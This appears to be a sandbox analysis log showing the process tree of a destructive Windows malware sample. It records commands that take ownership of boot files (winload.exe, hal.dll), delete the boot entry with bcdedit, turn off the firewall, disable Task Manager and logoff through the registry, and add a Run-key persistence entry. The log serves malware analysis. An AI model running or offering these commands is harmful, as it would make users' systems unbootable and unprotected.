        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:18552
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:18560
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:18568
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:18576
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:18584
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:18592
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:18600
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:18608
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:18616
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:18624
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:8480
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8488
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8496
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8504
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9843.tmp\9844.tmp\9855.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        
        PID:8212
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:9416
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:11100
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:9424
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:9848
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:2332
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:10192
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:10888
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:7220
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:10588
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:10684
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:4284
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5652
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:9144
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:11376
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:12000
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:12008
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:12016
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:12024
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:12032
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:12040
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:12048
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:12056
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:12064
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:12072
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:12080
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:12892
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        
        PID:12248
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:16820
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\DF3B.tmp\DF3C.tmp\DF3D.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:15136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:11544
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:11436
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:4560
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:16104
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:18128
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:18352
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\754.tmp\87E.tmp\87F.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:19392
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:20896
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:20912
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        9⤵
        
        PID:19028
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:18360
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:18368
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:18376
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:18384
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\485.tmp\496.tmp\497.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:18992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:11428
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        Modifies file permissions
        
        PID:4176
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:18392
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:18400
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:18408
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:18416
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6D7.tmp\6D8.tmp\6D9.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:19260
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:18424
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:16028
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:7976
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:16856
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\735.tmp\736.tmp\737.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:19320
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:7448
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:17492
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:11524
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:17980
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:18728
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:7712
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:19388
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:21348
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:8512
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8520
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8528
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:8536
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:9080
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:7912
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:9672
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:10012
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:9776
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:10628
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\drivers" /r
        5⤵
        
        PID:9776
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2560
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:948
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:2284
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\20D1.tmp\20D2.tmp\20D3.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:2780
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:5324
      - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        
        PID:5628
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5428
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        
        PID:5180
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        
        PID:5700
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:5156
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        Modifies file permissions
        
        PID:5948
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:5608
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        
        PID:5936
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        
        PID:3444
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:6232
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6588
    - - C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:6668
    - - C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:6716
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6748
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6756
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6828
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6840
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6848
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6868
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6876
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6884
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6908
    - - C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6916
    - - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:6952
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:3400
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:9916
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:1028
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\28CB.tmp\28CC.tmp\28DD.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        
        PID:10616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:17104
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:16768
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:17112
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:16936
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:15440
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Modifies file permissions
        
        PID:18152
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:19168
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:20512
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:2936
    - - C:\Windows\SysWOW64\notepad.exe
        
        notepad
        5⤵
        
        PID:5908
    - - C:\Windows\SysWOW64\calc.exe
        
        calc
        5⤵
        
        PID:2184
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:11788
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\47BE.tmp\47BE.tmp\47BF.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:12336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:13764
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:16716
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:13776
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:14664
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:16624
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:11184
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:18440
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:784
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:5244
    - - C:\Windows\SysWOW64\notepad.exe
        
        notepad
        5⤵
        
        PID:12924
    - - C:\Windows\SysWOW64\calc.exe
        
        calc
        5⤵
        
        PID:13296
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:6188
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\70D1.tmp\70D2.tmp\70D3.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        
        PID:12700
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:12080
    - - C:\Windows\SysWOW64\notepad.exe
        
        notepad
        5⤵
        
        PID:7760
    - - C:\Windows\SysWOW64\calc.exe
        
        calc
        5⤵
        
        PID:13460
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:14496
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A464.tmp\A465.tmp\A466.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:16128
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:14680
    - - C:\Windows\SysWOW64\notepad.exe
        
        notepad
        5⤵
        
        PID:14692
    - - C:\Windows\SysWOW64\calc.exe
        
        calc
        5⤵
        
        PID:14700
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:15144
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AF52.tmp\AF52.tmp\AF63.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:16168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:20636
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:20644
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:3668
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:19208
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:15152
    - - C:\Windows\SysWOW64\notepad.exe
        
        notepad
        5⤵
        
        PID:15160
    - - C:\Windows\SysWOW64\calc.exe
        
        calc
        5⤵
        
        PID:15168
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:15176
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:15824
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:16508
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:556
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:9100
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:16860
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\drivers" /r
        5⤵
        
        PID:20904
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2236
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4408
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:1752
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:3080
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\299B.tmp\299C.tmp\299D.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      PID:696
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        
        PID:6128
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        
        PID:4928
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:5696
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        
        PID:704
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3852
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:3968
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        
        PID:6248
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
